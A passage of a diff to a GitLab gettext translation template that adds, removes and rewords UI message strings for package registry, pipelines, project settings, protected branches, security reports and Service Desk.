+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21859,27 +22435,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22117,10 +22672,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22201,7 +22765,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22450,9 +23014,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22471,6 +23032,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22546,6 +23110,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22615,9 +23191,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22768,10 +23341,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22807,6 +23380,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22945,6 +23530,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22969,6 +23560,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22993,6 +23587,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23251,7 +23848,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23641,6 +24238,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23656,49 +24256,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23752,25 +24385,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23782,7 +24418,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23794,7 +24430,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23806,10 +24442,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23842,10 +24478,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23869,15 +24508,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23908,7 +24541,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23917,7 +24550,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23938,16 +24571,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr ""
-
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23959,12 +24589,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23992,10 +24625,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24529,6 +25162,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24550,7 +25192,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24571,6 +25213,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24745,7 +25390,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24934,7 +25579,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25099,7 +25744,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25111,7 +25756,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25135,6 +25780,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25183,9 +25831,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25432,6 +26077,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25477,7 +26125,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25501,6 +26149,12 @@ msgstr[2] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25627,6 +26281,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25723,6 +26380,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26035,7 +26695,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26179,6 +26842,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26212,9 +26878,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26311,6 +26974,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26329,6 +26995,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26353,9 +27022,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26407,6 +27073,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26458,6 +27127,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26467,6 +27139,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26683,6 +27358,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26758,13 +27436,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26773,10 +27457,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26791,6 +27475,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26848,16 +27535,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26923,15 +27622,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26983,9 +27673,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26995,9 +27682,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27034,6 +27718,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27043,7 +27730,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27073,9 +27760,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27130,9 +27823,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27226,6 +27916,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27364,19 +28057,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27478,6 +28195,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27532,7 +28252,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27544,6 +28264,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27565,6 +28288,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27772,9 +28498,15 @@ msgstr[2] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27793,6 +28525,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28033,6 +28768,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28711,13 +29449,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28732,9 +29470,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28747,7 +29482,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28837,9 +29572,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28855,9 +29587,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28915,9 +29644,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29545,6 +30271,12 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29704,9 +30436,6 @@ msgstr[2] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29779,6 +30508,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29806,6 +30538,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29818,6 +30553,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
